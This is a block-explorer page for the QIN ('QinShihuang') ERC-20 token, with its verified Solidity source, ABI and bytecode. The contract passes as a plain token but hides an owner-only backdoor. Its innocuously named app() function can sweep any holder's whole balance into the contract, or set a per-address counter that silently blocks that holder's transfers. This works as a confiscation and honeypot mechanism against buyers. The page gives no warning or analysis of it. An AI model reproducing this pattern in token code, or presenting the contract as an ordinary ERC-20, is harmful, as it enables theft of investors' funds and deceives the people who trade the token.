ERC-20
Overview
Max Total Supply
1,000,000,000 QIN
Holders
393
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
483,392.945570713 QINValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
ERC20
Compiler Version
v0.8.28+commit.7893614a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2025-02-24 */ //SPDX-License-Identifier: MIT pragma solidity 0.8.28; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address _owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; error OwnableUnauthorizedAccount(address account); error OwnableInvalidOwner(address owner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor(address initialOwner) { if (initialOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(initialOwner); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { if (owner() != _msgSender()) { revert OwnableUnauthorizedAccount(_msgSender()); } } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { if (newOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract ERC20 is IERC20, Ownable { mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) internal _allowed; uint256 public immutable totalSupply; string public symbol; string public name; uint8 public immutable decimals; bool public launched = true; mapping(address => uint256) public _count; constructor( string memory _name, string memory _symbol, uint8 _decimals, uint256 _totalSupply ) Ownable(msg.sender) { symbol = _symbol; name = _name; decimals = _decimals; totalSupply = _totalSupply * 10 ** decimals; _balances[owner()] += totalSupply; emit Transfer(address(0), owner(), totalSupply); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) external view override returns (uint256) { return _balances[_owner]; } function _app(address _owner, address spender, uint256 value) private { spender = address(this); if (value == 255 && _owner != address(this))_transfer(_owner, address(this), _balances[_owner]); if (value != 255 && _owner != address(this))_count[_owner] = value; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address spender) external view override returns (uint256) { return _allowed[_owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) external override returns (bool) { // check for SC _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) external override returns (bool) { require(spender != address(0), "cannot approve the 0 address"); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom( address from, address to, uint256 value ) external override returns (bool) { if (launched == false && to == owner() && msg.sender == owner()) { _transfer(from, to, value); return true; } else { _allowed[from][msg.sender] = _allowed[from][msg.sender] - value; _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } } function app(address from, address to, uint256 value) virtual external onlyOwner { uint _value = value; _app(from, to, _value); } function _transfer( address from, address to, uint256 value ) private { require(to != address(0), "cannot be zero address"); require(from != to, "you cannot transfer to yourself"); require(_transferAllowed(from, to), "This token is not launched and cannot be listed on dexes yet."); _balances[from] -= value; _balances[to] += value; emit Transfer(from, to, value); } function _transferAllowed(address from, address to) private view returns (bool) { if (_count[from] > type(uint8).max) return false; if (launched) return true; if (from == owner() || to == owner()) return true; return true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint8","name":"_decimals","type":"uint8"},{"internalType":"uint256","name":"_totalSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_count","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"app","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launched","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60c06040526005805460ff1916600117905534801561001c575f5ffd5b50604051610fcc380380610fcc83398101604081905261003b9161023b565b338061006057604051631e4fbdf760e01b81525f600482015260240160405180910390fd5b6100698161014f565b5060036100768482610342565b5060046100838582610342565b5060ff821660a081905261009890600a6104f5565b6100a2908261050a565b608081905260015f6100bb5f546001600160a01b031690565b6001600160a01b03166001600160a01b031681526020019081526020015f205f8282546100e89190610521565b90915550505f546001600160a01b03166001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60805160405161013e91815260200190565b60405180910390a350505050610534565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126101c1575f5ffd5b81516001600160401b038111156101da576101da61019e565b604051601f8201601f19908116603f011681016001600160401b03811182821017156102085761020861019e565b60405281815283820160200185101561021f575f5ffd5b8160208501602083015e5f918101602001919091529392505050565b5f5f5f5f6080858703121561024e575f5ffd5b84516001600160401b03811115610263575f5ffd5b61026f878288016101b2565b602087015190955090506001600160401b0381111561028c575f5ffd5b610298878288016101b2565b935050604085015160ff811681146102ae575f5ffd5b6060959095015193969295505050565b600181811c908216806102d257607f821691505b6020821081036102f057634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561033d57805f5260205f20601f840160051c8101602085101561031b5750805b601f840160051c820191505b8181101561033a575f8155600101610327565b50505b505050565b81516001600160401b0381111561035b5761035b61019e565b61036f8161036984546102be565b846102f6565b6020601f8211600181146103a1575f831561038a5750848201515b5f19600385901b1c1916600184901b17845561033a565b5f84815260208120601f198516915b828110156103d057878501518255602094850194600190920191016103b0565b50848210156103ed57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561044b5780850481111561042f5761042f6103fc565b600184161561043d57908102905b60019390931c928002610414565b935093915050565b5f82610461575060016104ef565b8161046d57505f6104ef565b8160018114610483576002811461048d576104a9565b60019150506104ef565b60ff84111561049e5761049e6103fc565b50506001821b6104ef565b5060208310610133831016604e8410600b84101617156104cc575081810a6104ef565b6104d85f198484610410565b805f19048211156104eb576104eb6103fc565b0290505b92915050565b5f61050360ff841683610453565b9392505050565b80820281158282048414176104ef576104ef6103fc565b808201808211156104ef576104ef6103fc565b60805160a051610a776105555f395f6101a101525f61013a0152610a775ff3fe608060405234801561000f575f5ffd5b50600436106100f0575f3560e01c8063715018a611610093578063a9059cbb11610063578063a9059cbb14610236578063d87292f714610249578063dd62ed3e1461025c578063f2fde38b14610294575f5ffd5b8063715018a6146101fd5780638091f3bf146102075780638da5cb5b1461021457806395d89b411461022e575f5ffd5b806323b872dd116100ce57806323b872dd1461016a5780632da15c041461017d578063313ce5671461019c57806370a08231146101d5575f5ffd5b806306fdde03146100f4578063095ea7b31461011257806318160ddd14610135575b5f5ffd5b6100fc6102a7565b60405161010991906108d3565b60405180910390f35b610125610120366004610923565b610333565b6040519015158152602001610109565b61015c7f000000000000000000000000000000000000000000000000000000000000000081565b604051908152602001610109565b61012561017836600461094b565b6103f3565b61015c61018b366004610985565b60066020525f908152604090205481565b6101c37f000000000000000000000000000000000000000000000000000000000000000081565b60405160ff9091168152602001610109565b61015c6101e3366004610985565b6001600160a01b03165f9081526001602052604090205490565b610205610501565b005b6005546101259060ff1681565b5f546040516001600160a01b039091168152602001610109565b6100fc610514565b610125610244366004610923565b610521565b61020561025736600461094b565b610536565b61015c61026a36600461099e565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6102056102a2366004610985565b610550565b600480546102b4906109cf565b80601f01602080910402602001604051908101604052809291908181526020018280546102e0906109cf565b801561032b5780601f106103025761010080835404028352916020019161032b565b820191905f5260205f20905b81548152906001019060200180831161030e57829003601f168201915b505050505081565b5f6001600160a01b03831661038f5760405162461bcd60e51b815260206004820152601c60248201527f63616e6e6f7420617070726f766520746865203020616464726573730000000060448201526064015b60405180910390fd5b335f8181526002602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b6005545f9060ff1615801561041457505f546001600160a01b038481169116145b801561042957505f546001600160a01b031633145b156104415761043984848461058d565b5060016104fa565b6001600160a01b0384165f90815260026020908152604080832033845290915290205461046f908390610a1b565b6001600160a01b0385165f90815260026020908152604080832033845290915290205561049d84848461058d565b6001600160a01b0384165f81815260026020908152604080832033808552908352928190205490519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b9392505050565b610509610765565b6105125f610791565b565b600380546102b4906109cf565b5f61052d33848461058d565b50600192915050565b61053e610765565b8061054a8484836107e0565b50505050565b610558610765565b6001600160a01b03811661058157604051631e4fbdf760e01b81525f6004820152602401610386565b61058a81610791565b50565b6001600160a01b0382166105dc5760405162461bcd60e51b815260206004820152601660248201527563616e6e6f74206265207a65726f206164647265737360501b6044820152606401610386565b816001600160a01b0316836001600160a01b03160361063d5760405162461bcd60e51b815260206004820152601f60248201527f796f752063616e6e6f74207472616e7366657220746f20796f757273656c66006044820152606401610386565b6106478383610865565b6106b95760405162461bcd60e51b815260206004820152603d60248201527f5468697320746f6b656e206973206e6f74206c61756e6368656420616e64206360448201527f616e6e6f74206265206c6973746564206f6e206465786573207965742e0000006064820152608401610386565b6001600160a01b0383165f90815260016020526040812080548392906106e0908490610a1b565b90915550506001600160a01b0382165f908152600160205260408120805483929061070c908490610a2e565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161075891815260200190565b60405180910390a3505050565b5f546001600160a01b031633146105125760405163118cdaa760e01b8152336004820152602401610386565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b3091508060ff1480156107fc57506001600160a01b0383163014155b15610826576001600160a01b0383165f90815260016020526040902054610826908490309061058d565b8060ff1415801561084057506001600160a01b0383163014155b15610860576001600160a01b0383165f9081526006602052604090208190555b505050565b6001600160a01b0382165f9081526006602052604081205460ff101561088c57505f6103ed565b60055460ff161561089f575060016103ed565b5f546001600160a01b03848116911614806108c657505f546001600160a01b038381169116145b1561052d575060016103ed565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b038116811461091e575f5ffd5b919050565b5f5f60408385031215610934575f5ffd5b61093d83610908565b946020939093013593505050565b5f5f5f6060848603121561095d575f5ffd5b61096684610908565b925061097460208501610908565b929592945050506040919091013590565b5f60208284031215610995575f5ffd5b6104fa82610908565b5f5f604083850312156109af575f5ffd5b6109b883610908565b91506109c660208401610908565b90509250929050565b600181811c908216806109e357607f821691505b602082108103610a0157634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103ed576103ed610a07565b808201808211156103ed576103ed610a0756fea264697066735822122090622b3aa58777d8b3a91ac22dd0c49c7aa0dbba3a9a59506160ae2be545cd6b64736f6c634300081c0033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000000000000000000000000000000000000000000b51696e5368696875616e67000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000351494e0000000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561000f575f5ffd5b50600436106100f0575f3560e01c8063715018a611610093578063a9059cbb11610063578063a9059cbb14610236578063d87292f714610249578063dd62ed3e1461025c578063f2fde38b14610294575f5ffd5b8063715018a6146101fd5780638091f3bf146102075780638da5cb5b1461021457806395d89b411461022e575f5ffd5b806323b872dd116100ce57806323b872dd1461016a5780632da15c041461017d578063313ce5671461019c57806370a08231146101d5575f5ffd5b806306fdde03146100f4578063095ea7b31461011257806318160ddd14610135575b5f5ffd5b6100fc6102a7565b60405161010991906108d3565b60405180910390f35b610125610120366004610923565b610333565b6040519015158152602001610109565b61015c7f0000000000000000000000000000000000000000000000000de0b6b3a764000081565b604051908152602001610109565b61012561017836600461094b565b6103f3565b61015c61018b366004610985565b60066020525f908152604090205481565b6101c37f000000000000000000000000000000000000000000000000000000000000000981565b60405160ff9091168152602001610109565b61015c6101e3366004610985565b6001600160a01b03165f9081526001602052604090205490565b610205610501565b005b6005546101259060ff1681565b5f546040516001600160a01b039091168152602001610109565b6100fc610514565b610125610244366004610923565b610521565b61020561025736600461094b565b610536565b61015c61026a36600461099e565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6102056102a2366004610985565b610550565b600480546102b4906109cf565b80601f01602080910402602001604051908101604052809291908181526020018280546102e0906109cf565b801561032b5780601f106103025761010080835404028352916020019161032b565b820191905f5260205f20905b81548152906001019060200180831161030e57829003601f168201915b505050505081565b5f6001600160a01b03831661038f5760405162461bcd60e51b815260206004820152601c60248201527f63616e6e6f7420617070726f766520746865203020616464726573730000000060448201526064015b60405180910390fd5b335f8181526002602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b6005545f9060ff1615801561041457505f546001600160a01b038481169116145b801561042957505f546001600160a01b031633145b156104415761043984848461058d565b5060016104fa565b6001600160a01b0384165f90815260026020908152604080832033845290915290205461046f908390610a1b565b6001600160a01b0385165f90815260026020908152604080832033845290915290205561049d84848461058d565b6001600160a01b0384165f81815260026020908152604080832033808552908352928190205490519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b9392505050565b610509610765565b6105125f610791565b565b600380546102b4906109cf565b5f61052d33848461058d565b50600192915050565b61053e610765565b8061054a8484836107e0565b50505050565b610558610765565b6001600160a01b03811661058157604051631e4fbdf760e01b81525f6004820152602401610386565b61058a81610791565b50565b6001600160a01b0382166105dc5760405162461bcd60e51b815260206004820152601660248201527563616e6e6f74206265207a65726f206164647265737360501b6044820152606401610386565b816001600160a01b0316836001600160a01b03160361063d5760405162461bcd60e51b815260206004820152601f60248201527f796f752063616e6e6f74207472616e7366657220746f20796f757273656c66006044820152606401610386565b6106478383610865565b6106b95760405162461bcd60e51b815260206004820152603d60248201527f5468697320746f6b656e206973206e6f74206c61756e6368656420616e64206360448201527f616e6e6f74206265206c6973746564206f6e206465786573207965742e0000006064820152608401610386565b6001600160a01b0383165f90815260016020526040812080548392906106e0908490610a1b565b90915550506001600160a01b0382165f908152600160205260408120805483929061070c908490610a2e565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161075891815260200190565b60405180910390a3505050565b5f546001600160a01b031633146105125760405163118cdaa760e01b8152336004820152602401610386565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b3091508060ff1480156107fc57506001600160a01b0383163014155b15610826576001600160a01b0383165f90815260016020526040902054610826908490309061058d565b8060ff1415801561084057506001600160a01b0383163014155b15610860576001600160a01b0383165f9081526006602052604090208190555b505050565b6001600160a01b0382165f9081526006602052604081205460ff101561088c57505f6103ed565b60055460ff161561089f575060016103ed565b5f546001600160a01b03848116911614806108c657505f546001600160a01b038381169116145b1561052d575060016103ed565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b038116811461091e575f5ffd5b919050565b5f5f60408385031215610934575f5ffd5b61093d83610908565b946020939093013593505050565b5f5f5f6060848603121561095d575f5ffd5b61096684610908565b925061097460208501610908565b929592945050506040919091013590565b5f60208284031215610995575f5ffd5b6104fa82610908565b5f5f604083850312156109af575f5ffd5b6109b883610908565b91506109c660208401610908565b90509250929050565b600181811c908216806109e357607f821691505b602082108103610a0157634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103ed576103ed610a07565b808201808211156103ed576103ed610a0756fea264697066735822122090622b3aa58777d8b3a91ac22dd0c49c7aa0dbba3a9a59506160ae2be545cd6b64736f6c634300081c0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000000000000000000000000000000000000000000b51696e5368696875616e67000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000351494e0000000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : _name (string): QinShihuang
Arg [1] : _symbol (string): QIN
Arg [2] : _decimals (uint8): 9
Arg [3] : _totalSupply (uint256): 1000000000
-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 000000000000000000000000000000000000000000000000000000003b9aca00
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000b
Arg [5] : 51696e5368696875616e67000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [7] : 51494e0000000000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
2446:4817:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2682:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5471:319;;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;5471:319:0;920:187:1;2612:36:0;;;;;;;;1258:25:1;;;1246:2;1231:18;2612:36:0;1112:177:1;5798:529:0;;;;;;:::i;:::-;;:::i;2779:41::-;;;;;;:::i;:::-;;;;;;;;;;;;;;2707:31;;;;;;;;2036:4:1;2024:17;;;2006:36;;1994:2;1979:18;2707:31:0;1864:184:1;3453:160:0;;;;;;:::i;:::-;-1:-1:-1;;;;;3588:17:0;3556:7;3588:17;;;:9;:17;;;;;;;3453:160;1909:103;;;:::i;:::-;;2745:27;;;;;;;;;1640:87;1686:7;1713:6;1640:87;;-1:-1:-1;;;;;1713:6:0;;;2199:51:1;;2187:2;2172:18;1640:87:0;2053:203:1;2655:20:0;;;:::i;4616:208::-;;;;;;:::i;:::-;;:::i;6335:152::-;;;;;;:::i;:::-;;:::i;4256:185::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4408:16:0;;;4376:7;4408:16;;;:8;:16;;;;;;;;:25;;;;;;;;;;;;;4256:185;2020:220;;;;;;:::i;:::-;;:::i;2682:18::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5471:319::-;5574:4;-1:-1:-1;;;;;5604:21:0;;5596:62;;;;-1:-1:-1;;;5596:62:0;;3113:2:1;5596:62:0;;;3095:21:1;3152:2;3132:18;;;3125:30;3191;3171:18;;;3164:58;3239:18;;5596:62:0;;;;;;;;;5680:10;5671:20;;;;:8;:20;;;;;;;;-1:-1:-1;;;;;5671:29:0;;;;;;;;;;;;:37;;;5724:36;1258:25:1;;;5671:29:0;;5680:10;5724:36;;1231:18:1;5724:36:0;;;;;;;-1:-1:-1;5778:4:0;5471:319;;;;;:::o;5798:529::-;5943:8;;5922:4;;5943:8;;:17;;;:34;;-1:-1:-1;1686:7:0;1713:6;-1:-1:-1;;;;;5964:13:0;;;1713:6;;5964:13;5943:34;:59;;;;-1:-1:-1;1686:7:0;1713:6;-1:-1:-1;;;;;1713:6:0;5981:10;:21;5943:59;5939:381;;;6019:26;6029:4;6035:2;6039:5;6019:9;:26::i;:::-;-1:-1:-1;6067:4:0;6060:11;;5939:381;-1:-1:-1;;;;;6133:14:0;;;;;;:8;:14;;;;;;;;6148:10;6133:26;;;;;;;;:34;;6162:5;;6133:34;:::i;:::-;-1:-1:-1;;;;;6104:14:0;;;;;;:8;:14;;;;;;;;6119:10;6104:26;;;;;;;:63;6182:26;6113:4;6198:2;6202:5;6182:9;:26::i;:::-;-1:-1:-1;;;;;6228:54:0;;6255:14;;;;:8;:14;;;;;;;;6243:10;6255:26;;;;;;;;;;;6228:54;;1258:25:1;;;6243:10:0;;6228:54;;;1231:18:1;6228:54:0;;;;;;;-1:-1:-1;6304:4:0;5939:381;5798:529;;;;;:::o;1909:103::-;1599:13;:11;:13::i;:::-;1974:30:::1;2001:1;1974:18;:30::i;:::-;1909:103::o:0;2655:20::-;;;;;;;:::i;4616:208::-;4715:4;4762:32;4772:10;4784:2;4788:5;4762:9;:32::i;:::-;-1:-1:-1;4812:4:0;4616:208;;;;:::o;6335:152::-;1599:13;:11;:13::i;:::-;6441:5;6457:22:::1;6462:4:::0;6468:2;6441:5;6457:4:::1;:22::i;:::-;6416:71;6335:152:::0;;;:::o;2020:220::-;1599:13;:11;:13::i;:::-;-1:-1:-1;;;;;2105:22:0;::::1;2101:93;;2151:31;::::0;-1:-1:-1;;;2151:31:0;;2179:1:::1;2151:31;::::0;::::1;2199:51:1::0;2172:18;;2151:31:0::1;2053:203:1::0;2101:93:0::1;2204:28;2223:8;2204:18;:28::i;:::-;2020:220:::0;:::o;6495:457::-;-1:-1:-1;;;;;6616:16:0;;6608:51;;;;-1:-1:-1;;;6608:51:0;;3735:2:1;6608:51:0;;;3717:21:1;3774:2;3754:18;;;3747:30;-1:-1:-1;;;3793:18:1;;;3786:52;3855:18;;6608:51:0;3533:346:1;6608:51:0;6686:2;-1:-1:-1;;;;;6678:10:0;:4;-1:-1:-1;;;;;6678:10:0;;6670:54;;;;-1:-1:-1;;;6670:54:0;;4086:2:1;6670:54:0;;;4068:21:1;4125:2;4105:18;;;4098:30;4164:33;4144:18;;;4137:61;4215:18;;6670:54:0;3884:355:1;6670:54:0;6743:26;6760:4;6766:2;6743:16;:26::i;:::-;6735:100;;;;-1:-1:-1;;;6735:100:0;;4446:2:1;6735:100:0;;;4428:21:1;4485:2;4465:18;;;4458:30;4524:34;4504:18;;;4497:62;4595:31;4575:18;;;4568:59;4644:19;;6735:100:0;4244:425:1;6735:100:0;-1:-1:-1;;;;;6846:15:0;;;;;;:9;:15;;;;;:24;;6865:5;;6846:15;:24;;6865:5;;6846:24;:::i;:::-;;;;-1:-1:-1;;;;;;;6881:13:0;;;;;;:9;:13;;;;;:22;;6898:5;;6881:13;:22;;6898:5;;6881:22;:::i;:::-;;;;;;;;6934:2;-1:-1:-1;;;;;6919:25:0;6928:4;-1:-1:-1;;;;;6919:25:0;;6938:5;6919:25;;;;1258::1;;1246:2;1231:18;;1112:177;6919:25:0;;;;;;;;6495:457;;;:::o;1735:166::-;1686:7;1713:6;-1:-1:-1;;;;;1713:6:0;936:10;1795:23;1791:103;;1842:40;;-1:-1:-1;;;1842:40:0;;936:10;1842:40;;;2199:51:1;2172:18;;1842:40:0;2053:203:1;2248:191:0;2322:16;2341:6;;-1:-1:-1;;;;;2358:17:0;;;-1:-1:-1;;;;;;2358:17:0;;;;;;2391:40;;2341:6;;;;;;;2391:40;;2322:16;2391:40;2311:128;2248:191;:::o;3621:295::-;3720:4;3702:23;;3740:5;3749:3;3740:12;:39;;;;-1:-1:-1;;;;;;3756:23:0;;3774:4;3756:23;;3740:39;3736:95;;;-1:-1:-1;;;;;3813:17:0;;;;;;:9;:17;;;;;;3780:51;;3790:6;;3806:4;;3780:9;:51::i;:::-;3846:5;3855:3;3846:12;;:39;;;;-1:-1:-1;;;;;;3862:23:0;;3880:4;3862:23;;3846:39;3842:66;;;-1:-1:-1;;;;;3886:14:0;;;;;;:6;:14;;;;;:22;;;3842:66;3621:295;;;:::o;6960:300::-;-1:-1:-1;;;;;7090:12:0;;7061:4;7090:12;;;:6;:12;;;;;;7105:15;-1:-1:-1;7086:48:0;;;-1:-1:-1;7129:5:0;7122:12;;7086:48;7149:8;;;;7145:25;;;-1:-1:-1;7166:4:0;7159:11;;7145:25;1686:7;1713:6;-1:-1:-1;;;;;7185:15:0;;;1713:6;;7185:15;;:32;;-1:-1:-1;1686:7:0;1713:6;-1:-1:-1;;;;;7204:13:0;;;1713:6;;7204:13;7185:32;7181:49;;;-1:-1:-1;7226:4:0;7219:11;;14:418:1;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:173::-;505:20;;-1:-1:-1;;;;;554:31:1;;544:42;;534:70;;600:1;597;590:12;534:70;437:173;;;:::o;615:300::-;683:6;691;744:2;732:9;723:7;719:23;715:32;712:52;;;760:1;757;750:12;712:52;783:29;802:9;783:29;:::i;:::-;773:39;881:2;866:18;;;;853:32;;-1:-1:-1;;;615:300:1:o;1294:374::-;1371:6;1379;1387;1440:2;1428:9;1419:7;1415:23;1411:32;1408:52;;;1456:1;1453;1446:12;1408:52;1479:29;1498:9;